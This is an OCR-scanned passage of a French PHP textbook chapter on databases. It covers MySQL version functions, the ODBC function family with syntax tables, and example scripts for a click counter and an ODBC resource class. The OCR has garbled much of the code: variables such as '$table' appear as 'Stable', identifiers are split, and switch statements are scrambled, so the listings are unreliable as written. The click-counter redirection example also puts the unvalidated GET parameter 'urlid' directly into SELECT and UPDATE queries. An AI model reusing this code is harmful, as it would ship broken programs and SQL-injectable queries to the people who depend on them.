$idConnexion Identifiant de connexion a un serveur de bases de donnees tel que retourne 

par mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Numero de version du protocole 

Ainsi, le script suivant : 

Listing 10.44 : mysql_14.php 

<?php 

i ncl ude_once ( "parametres_bd_i nc . php" ) ; 

mysql_pconnect($serveur. $port, $utilisateur, SmotDePasse) or 

die("<b>Impossible de se connecter au serveur base de donnees. </b>") ; 

echo "Cette version de PHP integre la version <b>". 

mysql_get_cl ient_info() ; 
echo "</b> du client MySQL<br /xbr />"; 

echo "Et nous sommes connectes au serveur <b>".mysql_get_host_info() ; 

echo "</bxbr />"; 

echo "sur lequel tourne la version <b>".mysql_get_server_info() ."</b>"; 

echo "<br /xbr />"; 

echo "Nous utilisons (sans le savoir) la version "; 
echo "<b>" .mysql_get_proto_info() . "</b> du protocole de connexion."; 
?> 



retournera une page du genre (selon votre configuration) : 

Cette version de PHP integre la version 3.23.40 du client MySQL 

Et nous sommes connectes au serveur Local host via UNIX socket 

sur lequel tourne la version 3.2.3.40 

Nous utilisons (sans le savoir) la version 10 du protocole de connexion. 



10.10. ODBC 

Que vous utilisiez veritablement une liaison ODBC, ou que vous utilisiez une base de donnees 
comme DB2 (d'IBM), ce sont ces fonctions que vous utiliserez. 

Installation 

Si vous devez utiliser une base de donnees via une veritable liaison ODBC, vous devrez au 
prealable configurer un pont ODBC (si le cas de votre base de donnees n'est pas traite dans ce 
manuel, vous pouvez, a titre d'exemple, consulter le cas de la base de donnees MS Access). 
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Configuration php.ini 

Le fichier php.ini permet de definir les parametres suivants 

odbc.allow_persi stent = On 

Autorise ou interdit les connexions persistantes. 

odbc.check_persi stent = On 

Verifie si la connexion est encore valide avant chaque reutilisation. 

odbc.max_persi stent = -1 

Nombre maximum de connexions persistantes. -1 autorise un nombre illimite. 

odbc.max_links = -1 

Nombre maximum de connexions (persistantes ou non). -1 autorise un nombre illimite. 

odbc.defaultlrl = 4096 

Indique le nombre d'octets qui doivent etre retournes dans le cas des champs longs. La valeur 
permet de passer outre. 

odbc.defaultbinmode = 1 

Precise comment passer les donnees binaires : 1 retourne les donnees telles quelles, 2 convertit 
les donnees en caracteres. 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant. 

Connexion grace a la fonction odbc_connect ( ) ou odbc_pconnect ( ) ; 

Soumission de la requete via la fonction odbc_exec ( ) ; 

Deconnexion grace a la fonction odbc_close ( ) (dans le cas d'une connexion non 
persistante). 

Connexion 

La connexion a la base de donnees s'opere grace a la fonction odbc_connect ( ) . 
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odbc_connect() 



Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource odbc_connect (string $baseDonnees , string 

$util isateur, string $motDePasse [, int $typeCurseur]] 
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$baseDonnees 
$util isateur 
$motDePasse 
$typeCurseur 



retour 



Nom de la base de donnees (ou nom de la liaison ODBC). 

Nom de 1'utilisateur. 

Mot de passe de 1'utilisateur. 

Selectionne un des modes suivants : 
SQL_CUR_USE_IF_NEEDED (non supporte par DB2). 
SQL_CUR_USE_ODBC (non supporte par DB2). 

SQL_CUR_USE_DRIVER. 

SQL_CUR_DEFAULT (non supporte par DB2). 

Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 
d'echec. 



II est egalement possible d'utiliser une connexion persistante. 



odbc_pconnect() 



Etablit une connexion persistante avec le serveur de bases de donnees 
Syntaxe 



$baseDonnees 
$util isateur 
$motDePasse 
$typeCurseur 



retour 



resource odbc_pconnect (string $baseDonnees , string 
$util isateur, string $motDePasse [, int $typeCurseur]) 

Nom de la base de donnees (ou nom de la liaison ODBC). 

Nom de 1'utilisateur. 

Mot de passe de 1'utilisateur. 

Selectionne un des modes suivants : 
SQL_CUR_USE_IF_NEEDED (non supporte par DB2). 
SQL_CUR_USE_ODBC (non supporte par DB2). 

SQL_CUR_USE_DRIVER. 

SQL_CUR_DEFAULT (non supporte par DB2). 

Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 
d'echec. 



Execution de la requete SQL 

L'execution d'une requete SQL s'opere par un simple appel a odbc_exec ( ) . 



odbc_exec() 

Execute une requete SQL. 

Syntaxe resource odbc_exec (resource $idConnexion, string $requete) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 
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$requete Requete SQL. 

retour Identifiant de resultat de requete SQL, ou FALSE en cas d'echec 

(identifiant de base de donnees ou requete SQL non valide). 

Notez egalement l'existence de odbc_do ( ) qui est un alias de odbc_exec ( ) . 

Nous verrons par la suite qu'il est egalement possible d'utiliser des requetes preparees 
(contenant des parametres qui pourront etre modifies juste avant que celles-ci ne soient 
executees) et de desactiver le mode auto commit (validation automatique) pour avoir acces 
aux operations de commit (validation) et rollback (annulation). 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat, mais nous verrons cela un peu plus loin. 

Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction odbc_close ( ) . 



odbc_close() 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe void odbc_close (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

II existe egalement une fonction mettant fin a toutes les connexions ouvertes durant l'execution 
du script. 



odbc_close_all() 

Ferme toutes les connexions et libere les ressources associees. 
Syntaxe void odbc_close_al 1 (void) 

Premier exemple 

Nous voila done a meme de construire notre premier script utilisant une base de donnees. 
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Chapitre 10 L'utilisation des bases de donnees 



A Verifiez les parametres 

^^^ Prenez garde ! avant d'executer ce script, assurez-vous que les parametres predefinis 
ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait deja. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.45 : parametresbdincphp (exemple avec MS Access) 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

StypeServeur = "MSAccess"; // MSAccess, IBMDB2, ... 

$base = "mabase"; 

$utilisateur = ""; 

$motDePasse = ""; 

?> 

Notre script principal sera done : 

Listing 10.46 : insertOLphp 

<?php 

// Parametres du script 

requi re_once ( "parametres_bd_i nc . php" ) ; 

Stable = "tableexemple"; 

// Inclusion du script contenant les fonctions 
requi re_once("insert01_bd_inc. php") ; 

// Connexion a la base de donnees 

$idConnexion = odbc_pconnect($base, $util isateur, $motDePasse) ; 

if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 
} 

// Appel de la fonction principale 

if (EX_initialiseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 
"vous pouvez le verifier avec votre client de base ". 
" de donnees ou via les scripts suivants."; 
} else { 

echo "La creation ou 1 'alimentation de la table a echouee."; 
} 
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// Pas de disconnexion dans le cas d'une connexion persistante 
// odbc_close($idConnexion) ; 
?> 



et necessitera : 

Listing 10.47 : insert01_bd_inc.php 

<?php 

/** 

* Fonction chargee de creer et d'al imenter une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** / 

function EX_initial iseBD($idConnexion, $table) 

{ 

// Supprime la precedente table 
$requete = "DROP TABLE Stable"; 
@odbc_exec ($i dConnexi on , $requete) ; 

// Cree la table 

$requete = "CREATE TABLE Stable (filmld INTEGER, film VARCHAR(64)) 

if (!odbc_exec($idConnexion, $requete)) return FALSE; 

// Ajoute quelques donnees 

Srequete = "INSERT INTO Stable VALUES (1, 'Forrest Gump')"; 

if (!odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO Stable VALUES (2, 'Matrix')"; 

if (!odbc_exec($idConnexion, $requete)) return FALSE; 

Srequete = "INSERT INTO Stable VALUES (3, 'La cite de la peur')"; 

if (!odbc_exec($idConnexion, Srequete)) return FALSE; 

return TRUE; 
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Champ auto-incremente 

II aurait ete preferable de definir filmld comme etant un champ auto-incremente, 
plutot que de le fixer manuellement. Mais, comme nous le verrons dans un prochain 
exemple, la syntaxe varie d'une base de donnees a V autre. 
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Commit/rollback 
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Par defaut, les requetes sont automatiquement validees (mode auto commit). II est toutefois 
possible de modifier ce comportement par defaut en utilisant odbc_autoCommit ( ) . 



odbc_autoCommit () 



Active, desactive ou retourne le mode auto commit. 

Syntaxe mixed odbc_autoCommit (resource $idConnexion [, boolean 

$autoCommit]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

$autoCommit Indiquer TRUE pour activer le mode auto commit, FALSE pour 

desactiver le mode auto commit, ne pas renseigner pour recuperer le 
mode actuel. 

retour En mode lecture, 1 (mais pas strictement TRUE) si le mode auto commit 

est active, (mais pas strictement FALSE) sinon. 

En mode selection, TRUE en cas de succes, FALSE sinon. 
Si vous avez opte pour un mode de validation non automatique, vous pourrez valider ou 
annuler vos transactions avec les fonctions suivantes : 



odbc_commit() 

Valide les transactions. 

Syntaxe boolean odbc_commi t (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour TRUE en cas de succes, ou rien (mais pas FALSE) sinon (c'est 

essentiellement le cas pour un identifiant non valide). 



odbc_rollback() 

Annule les transactions. 

Syntaxe boolean odbc_rol 1 back (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 
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retour TRUE en cas de succes, ou rien (mais pas FALSE) sinon (c'est 

essentiellement le cas pour un identifiant non valide). 

Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'identifiant de requete et de l'utiliser pour lire, en boucle, ligne apres 
ligne, chaque enregistrement. II existe diverses fonctions, chacune permettant de recuperer les 
champs des enregistrements sous differentes formes. 

Les informations peuvent ainsi etre retournees : 

Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe). 

Lecture champ par champ 

Pour une lecture champ par champ, vous pouvez passer d'un enregistrement au suivant par 
l'appel a odbc_fetch_row( ) , et acceder a l'un quelconque des champs par appel a 

odbc_result ( ) . 



odbc_fetch_row() 

Passe a l'enregistrement suivant ou accede a n'importe quel enregistrement. 

Syntaxe boolean odbc_fetch_row(resource $idResultat [, int 

$i dxEnregi strement] ) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxEnregi strement Index de l'enregistrement a lire (le premier enregistrement ayant l'index 
1). Par defaut, il s'agit de l'enregistrement suivant. 

retour TRUE en cas de succes, FALSE sinon (plus d'enregistrement a lire). 



odbc_result() 



Retourne la valeur d'un champ de l'enregistrement courant. 

Syntaxe mixed odbc_result (resource $idResul tat, mixed $champ) 

SidResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$champ Au choix, soit le nom du champ (insensible a la casse), soit l'index du 

champ dans la requete (le premier champ ayant l'index 1). 
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Chapitre 10 L'utilisation des bases de donnees 



retour La valeur du champ, ou FALSE en cas d'erreur, mais egalement dans le cas 

ou le champ est NULL ! En cas d'erreur, un message d'erreur est leve (voir 
odbc_error ( ) et odbc_errormsg ( ) ), mais pas dans le cas d'un 
champ NULL. 

Listing 10.48 : select_cc_bd_inc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 
** / 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM $table"; 

$idResultat = odbc_exec($idConnexion, $requete); 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (odbc_fetch_row($idResultat)) { 

echo "FilmId=".odbc_result($idResultat, "filmld") . " ". 

"Film =" .odbc_result($idResultat, "film") . "<br />"; 

} 

return TRUE; 

} 
?> 



J[y Difference entre odbcJetch_row () et mysql_fetch_row () 

^^^ Notez que les fonctions odbc_fetch_row ( ) etmysql_fetch_row() ne jouent pas 
ATTENTION exactement le meme role. mysql_fetch_row( ) regroupe les roles de 

odbc_fetch_row( ) et odbc_result ( ). 



Lecture enregistrement par enregistrement 

La fonction odbc_f etch_into ( ) peut, dans certains cas, etre plus pratique, puisqu'elle 
retourne l'ensemble des champs de l'enregistrement courant sous la forme d'un tableau. 
L'inconvenient de cette fonction, c'est que Ton ne peut acceder aux champs que par des index 
(et pas par des noms). 
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odbc_fetch_into() 



Retourne l'enregistrement courant sous la forme d'un tableau indexe. 

Syntaxe int odbc_fetch_into (resource $idResultat, array 

&$enregistrement [, int $idxEnregistrement] ) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$enregistrement Reference sur un tableau dans lequel seront copiees les donnees de 
l'enregistrement. Ce tableau est un tableau indexe dans lequel les valeurs 
apparaissent dans l'ordre des champs de la requete (le premier champ 
ayantl'indexO). 

$i dxEnregi strement Index de l'enregistrement a lire (le premier enregistrement ayant l'index 
1). Par defaut, il s'agit de l'enregistrement suivant. 

retour Le nombre de champs en cas de succes, FALSE sinon (plus 

d'enregistrement a lire). 

Listing 10.49 : selecteeibdinc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

Srequete = "SELECT * FROM Stable"; 

SidResultat = odbc_exec($idConnexion, Srequete); 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (odbc_fetch_into($idResul tat, Senreg)) { 
echo "Filmld=".$enreg[0] ." ". 

"Film =" .$enreg[l] . "<br />"; 

} 

return TRUE; 

} 
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Chapitre 10 L'utilisation des bases de donnees 



Liberation des ressources 

Si, au cours d'un script, vous faites appel a de nombreuses requetes retournant de nombreux 
enregistrements, alors, n'hesitez pas, une fois le resultat de la requete exploite, a liberer les 
ressources associees avec la fonction odbc_f ree_result ( ) . 



odbc_free_result() 

Libere les ressources allouees pour un resultat de requete. 

Syntaxe boolean odbc_free_result (resource $idResultat) 

SidResultat Identifiant de requete tel que retourne par mysql_query( ) . 

retour TRUE en cas de succes, FALSE sinon. 

Nombre d' enregistrements 
Nombre d' enregistrements retournes 

II existe trois facons de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) , 
comme suit : 

Listing 10.50 : countbdincphp 

<?php 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

Srequete = "SELECT C0UNT(*) FROM Stable"; 

SidResultat = odbc_exec($idConnexion, Srequete); 

// Lecture du resultat 

if (odbc_fetch_into($idResultat, Senreg)) { 

echo "II y a ".$enreg[0] ." enregistrements dans la table. <br />"; 

return TRUE; 
} else { 

echo "Etes vous sur que la table Stable existe ?<br />"; 
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return FALSE; 



Si vous souhaitez connaitre le nombre d'enregistrements, mais que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de les compter au fur et a mesure de leur lecture. 

Listing 10.51 : countselectbdjnc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = odbc_exec($idConnexion, $requete) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et de comptage) des enregistrements 

$nb = 0; 

while (odbc_fetch_into($idResul tat, $enreg)) { 

// Vous pouvez manipuler $enreg a votre guise 

//echo "Filmld=".$enreg[0] ." ". 

// "Film =" .$enreg[l]."<br />"; 

$nb++; 

} 

echo "II y a $nb enregistrements dans la table. <br />"; 

return TRUE; 
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} 



?> 



Et, pour finir, ce que vous attendez tous : si vous souhaitez connaitre le nombre 
d'enregistrements avant de les lire, vous pouvez faire appel a la fonction odbc_num_rows ( ) . 
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odbc_num_rows() 



Retourne le nombre d'enregistrements retournes ou modifies par la requete SQL. 

Syntaxe int odbc_num_rows (resource $idResul tat) 

$idResul tat Identifiant de resultat tel que retourne par odbc_exec ( ) (ne fonctionne 

pas avec odbc_execute ( ) ). 

retour Nombre d'enregistrements, ou rien (mais pas FALSE) en cas d'erreur. 

Listing 10.52 : count_num_rows_bd_inc.php 

<?php 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = odbc_exec($idConnexion, $requete); 

if (!$idResultat) return FALSE; 

echo "II y a M .odbc_num_rows($idResultat) ." enregistrements ". 
"dans la table<br />"; 



return TRUE; 



?> 



Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d'enregistrements modifies 

Pour determiner le nombre d'enregistrements modifies, vous pouvez appeler la fonction 

odbc_num_rows ( ) presentee precedemment. 

Mise a profit des requetes preparees 

Certains serveurs de bases de donnees permettent l'analyse, la compilation et le stockage des 
requetes avant utilisation. Ceci permet d'executer une serie de requetes similaires, sans avoir a 
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renouveler a chaque fois les operations d'analyse et de compilation (mais seulement en 
changeant certaines valeurs). 

Pour cela, il suffit de preparer une requete dans laquelle les elements variables sont remplaces 
par des points d'interrogation (ex. : insert into matabie (film) values (?)). II suffira 
ensuite de preciser ces valeurs au moment de son execution. 

La preparation de la requete se fait via la fonction odbc_prepare ( ) . 



odbc_prepare() 

Prepare une requete SQL. 

Syntaxe resource odbc_prepare (resource $idConnexion, string $requete) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

$requete Requete SQL. 

re tour Identifiant de requete en cas de succes (peut egalement etre le cas pour des 

requetes SQL non valides), ou rien (et non FALSE) en cas d'echec 
(identifiant de connexion non valide). 
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odbc_execute() 



Execute une requete preparee. 

Syntaxe boolean odbc_execute(resource $idRequete [, array 

$tableauValeurs]) 

$i dRequete Identifiant de requete preparee tel que retourne par odbc_prepare ( ) . 

$tableauValeurs Tableau indexe con tenant les diff erentes valeurs des elements variables de 
la requete preparee (le premier parametre ayant l'index 0). 

retour TRUE en cas de succes, FALSE sinon. 



DB2d'IBM 

Nous avons rencontre des problemes avec Vutilisation des requetes preparees sous 
DB2. En effet, nous n' avons pu utiliser qu'une seule requete preparee par script (ce 
qui nous condamnait a utiliser odbc_exec ( ) pour les requetes suivantes). 



REMARQUE 
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Gestion des erreurs 
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Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

C'est possible notamment en recuperant un code d'erreur via la fonction odbc_error ( ) . 



odbc_error() 

Retourne le dernier code d'erreur rencontre ou associe a la connexion. 

Syntaxe string odbc_error( [resource $idConnexion]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Si l'identifiant de connexion est precise : dernier code d'erreur (sur 5 

chiffres) rencontre, ou chaine vide en cas de succes de la derniere 
operation. (II a ete constate que la chaine n'est pas toujours exactement 
vide, mais peut contenir un caractere de controle). 

Si l'identifiant de connexion n'est pas precise : dernier code d'erreur (sur 5 
chiffres), meme si la derniere operation s'est effectuee avec succes. 



odbc_errormsg() 

Retourne le dernier message d'erreur rencontre ou associe a la connexion. 

Syntaxe string odbc_errormsg( [resource $idConnexion] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Si l'identifiant de connexion est precise : dernier message d'erreur 

rencontre, ou chaine vide en cas de succes de la derniere operation. (II a 
ete constate que la chaine n'est pas toujours exactement vide, mais peut 
contenir un caractere de controle). 

Si l'identifiant de connexion n'est pas precise : dernier message d'erreur, 
meme si la derniere operation s'est effectuee avec succes. 
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Exemples (['applications 
Compteur de dies 

Une application courante d'utilisation des bases de donnees et simple a mettre en ceuvre 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous, sur votre site, proposer un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker, en base de donnees, l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien 
vers un script charge d'incrementer le compteur correspondant au site indique, et de rediriger 
le client vers le site grace a la fonction header ( ) . 



> Vous pouvez vous reporter a ['annexe "Les en-tetes" pour plus de renseignements sur 

la redirection. 
RENVOI 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

■ urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 
nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic jredirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic-redirection.php?urlid=3 
(pour acceder a l'URL ayant l'identifiant 3). A supposer que l'URL 3 corresponde au site 
http://WWW.Sqlfacile.COm cela signifie que le lien <a href= "http: //www.sqlfacile.com"> 
devra etre remplace par <a href ="compteurclic_redirection.php?urlid=3> si Ton sou- 

haite en compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initialiseBD ( ) 
du script suivant : 

Listing 10.53 : compteurclicbdinc.php (debut) 

<?php 

// 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

requi re_once ( "parametres_bd_i nc . php" ) ; 
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/** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 
* 

* @return resource Identifiant de connexion 

7 

function CC_connexion() 

{ 

global $base, $utilisateur, $motDePasse; 

return @odbc_pconnect($base, $util isateur, $motDePasse) 
} 

/** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

7 

function CC_deconnexion() 

{ 

return TRUE; 

} 

/** 

* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

function CC_initial iseBD($idConnexion, Stable) 

{ 

global $typeServeur; 



switch ($typeServeur 
case "MSAccess" 

$compteur = 

$default = 
break; 

case "IBMDB2" : 

$compteur = 

$default = 
break; 
default : 

$compteur = 

$default = 
} 



COUNTER"; 



INTEGER GENERATED BY DEFAULT AS IDENTITY"; 
DEFAULT 0"; 



INTEGER AUTOJNCREMENT" 
DEFAULT 0"; 



// Creation de la table 
$requete = "DROP TABLE $table"; 
@odbc_exec($idConnexion, $requete) ; 

$requete = "CREATE TABLE Stable (urlld $compteur, " . 

"url VARCHAR(128) NOT NULL,". 
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"nbclic INTEGER $default,". 
"UNIQUE(url))"; 
if (!odbc_exec($idConnexion, $requete)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO Stable (url)". 

" VALUES ('http://www.php.net 1 )"; 
if (!odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www. phpfacile.com')"; 
if (!odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO Stable (url)". 

" VALUES ('http://www.sqlfacile.com')"; 
if (!odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if (!odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if (!odbc_exec($idConnexion, $requete)) return FALSE; 

if ($typeServeur == "MSAccess") { 

// Un "patch" pour MSAccess qui ne supporte pas DEFAULT 

$requete = "UPDATE Stable SET nbclic=0"; 

if (!odbc_exec($idConnexion, $requete)) return FALSE; 
} 

return TRUE; 
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Specificite des bases de donnees 

Mime si les fonctions ODBC permettent d'acceder a de nombreuses bases de 
donnees, iln'en restepas moins que le langage SQL supporte diff ere de I'une a I'autre. 
C'est ce que nous pouvons constater ici en ce qui conceme la creation d'un champ 
auto-incremente ou les valeurs par defaut. default n'etant pas supporte par MS 
Access 97, il convient de fixer manuellement les valeurs par defaut. 

La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.54 : compteurclic_bd_inc.php (milieu) 

<?php 

* Fonction retournant les informations de liens 
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Chapitre 10 L'utilisation des bases de donnees 



* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

** / 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurclic_redirection.php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 

$idResultat = odbc_exec($idConnexion, $requete); 

// Recuperation des enregistrements les uns apres les autres 
while (odbc_fetch_row($idResultat)) { 

$liens["lien"] [] = "<a href=\"$script?urlid=". 

odbc_result($idResul tat, "urlid") . "\">" ■ 
odbc_result($idResultat, "url ") ,"</a>"; 
$liens["nbclic"] [] = odbc_result($idResultat, "nbclic"); 
} 



return $liens; 



?> 



L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href ="http: //www. sqlfacile.com">http: //www 
. sqlfacile.com</a> a ete remplace par <a href="compteurclic_redirection 

.php?urlid=3">http: //www. sqifaciie.com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.55 : compteurclicredirection.php 

<?php 

// Parametres du script 

requi re_once ( "compteurcl i c_bd_i nc . php" ) ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
SidConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 
} 

// Recuperation de 1'url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC recupereUrl (SidConnexion, $ GET["url id"]) ; 
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// Deconnexion 
@CC_deconnexion() ; 

// C'est 1'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { 

echo "Desole, nous ne pouvons vous proposer ce lien"; 



Ce script appelle principalement la fonction cc_recupereuri ( ) suivante : 

Listing 10.56 : compteurclicbdincphp (fin) 

<?php 

/** 

* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de dies 

function CC_recupereUrl ($idConnexion, $urlid) 
{ 

global Stable; 

// Recupere 1 'url 

$requete = "SELECT * FROM Stable WHERE url id=$url id" ; 

SidResultat = odbc_exec($idConnexion, $requete) ; 

if (odbc_fetch_row($idResultat)) { 

$url = odbc_result($idResultat, "url"); 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbel ic=nbcl ic+1" . 

" WHERE urlid=$urlid"; 
odbc_exec($idConnexion, $requete) ; 
} else { 

$url = FALSE; 
} 

return $url ; 
} 
?> 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 
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REMARQUE 
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Chapitre 10 L'utilisation des bases de donnees 



SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions SQLite pour implementer l'interface Ressourceinterf ace 
c'est desormais chose faite: 

Listing 10.57 : RessourceODBCclass.php 

<?php 
include_once("RessourceInterface_class.php") ; 

include_once(dirname( FILE ) ."/■ •/ con "' : i9/ oc 'bc_cfg.php") ; 

/** 

* RessourceODBC_class.php 

* Classe d'acces a une base de donnees MS ACCESS ou IBM DB2 via ODBC 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourcelnterface. 

* Compatibilite: PHP 5 

V 

class Ressource implements Ressourcelnterface 
{ 

var $idConnexion; 

public function connexion() 

{ 

global $odbc_serveur, $odbc_utilisateur, $odbc_motDePasse; 
global $odbc_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = odbc_pconnect($odbc_base, 

$odbc_util isateur, 

$odbc_motDePasse) ; 
if (!$idConnexion) return FALSE; 
$this->idConnexion = $idConnexion; 

} 

return TRUE; 

} 

public function deconnexion() 

{ 

// Rien a faire, il s'agit d'une connexion persistante 



public function reset() 

{ 

global $odbc_typeServeur; 

$requete = "DROP TABLE types"; 

$idResultat = Oodbc_exec($this->idConnexion, $requete) ; 

switch ($odbc_typeServeur) { 
case "MSAccess" : 

$compteur = "COUNTER"; 
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} 



break; 
case "IBMDB2" : 

$compteur = "INTEGER GENERATED BY DEFAULT AS IDENTITY" 

break; 
default: 

$compteur = "INTEGER AUTOJNCREMENT"; 



$requete = "CREATE TABLE types (". 

"id $compteur,". 

"type VARCHAR(255))"; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
